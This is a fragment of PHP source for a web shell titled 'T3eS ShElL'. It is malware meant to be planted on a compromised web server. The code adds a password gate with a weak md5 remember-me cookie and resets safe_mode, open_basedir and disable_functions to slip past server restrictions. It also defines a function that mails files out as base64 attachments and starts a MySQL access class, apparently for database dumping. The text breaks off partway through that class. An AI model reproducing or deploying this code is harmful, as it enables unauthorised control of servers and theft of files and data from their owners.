// Title of page. $tacfgd['title'] = 'T3eS ShElL';
// Text to appear just above login form. $tacfgd['helptext'] = 'T3eS ShElL';
// Set to true to enable the optional remember-me feature, which stores encrypted login details to // allow users to be logged-in automatically on their return. Turn off for a little extra security. $tacfgd['allowrm'] = true;
// If you have multiple protected pages, and there's more than one username / password combination, // you need to group each combination under a distinct rmgroup so that the remember-me feature // knows which login details to use. $tacfgd['rmgroup'] = 'default';
// Set to true if you use your own sessions within your protected page, to stop txtAuth interfering. // In this case, you _must_ call session_start() before you require() txtAuth. Logging out will not // destroy the session, so that is left up to you. $tacfgd['ownsessions'] = false;
foreach ($tacfgd as $key => $val) { if (!isset($tacfg[$key])) $tacfg[$key] = $val; }
if (!$tacfg['ownsessions']) { session_name('txtauth'); session_start(); }
// Logout attempt made. Deletes any remember-me cookie as well if (isset($_GET['logout']) || isset($_POST['logout'])) { setcookie('txtauth_'.$rmgroup, '', time()-86400*14); if (!$tacfg['ownsessions']) { $_SESSION = array(); session_destroy(); } else $_SESSION['txtauthin'] = false; } // Login attempt made elseif (isset($_POST['login'])) { if ($_POST['uname'] == $tacfg['uname'] && $_POST['pword'] == $tacfg['pword']) { $_SESSION['txtauthin'] = true; if ($_POST['rm']) { // Set remember-me cookie for 2 weeks setcookie('txtauth_'.$rmgroup, md5($tacfg['uname'].$tacfg['pword']), time()+86400*14); } } else $err = 'Login Faild !'; } // Remember-me cookie exists elseif (isset($_COOKIE['txtauth_'.$rmgroup])) { if (md5($tacfg['uname'].$tacfg['pword']) == $_COOKIE['txtauth_'.$rmgroup] && $tacfg['allowrm']) { $_SESSION['txtauthin'] = true; } else $err = 'Login Faild !'; } if (!$_SESSION['txtauthin']) { @ini_restore("safe_mode"); @ini_restore("open_basedir"); @ini_restore("safe_mode_include_dir"); @ini_restore("safe_mode_exec_dir"); @ini_restore("disable_functions"); @ini_restore("allow_url_fopen");
function mailattach($to,$from,$subj,$attach) { $headers = "From: $from\r\n"; $headers .= "MIME-Version: 1.0\r\n"; $headers .= "Content-Type: ".$attach['type']; $headers .= "; name=\"".$attach['name']."\"\r\n"; $headers .= "Content-Transfer-Encoding: base64\r\n\r\n"; $headers .= chunk_split(base64_encode($attach['content']))."\r\n"; if(mail($to,$subj,"",$headers)) { return 1; } return 0; } class my_sql { var $host = 'localhost'; var $port = ''; var $user = ''; var $pass = ''; var $base = ''; var $db = ''; var $connection; var $res; var $error; var $rows; var $columns; var $num_rows; var $num_fields; var $dump;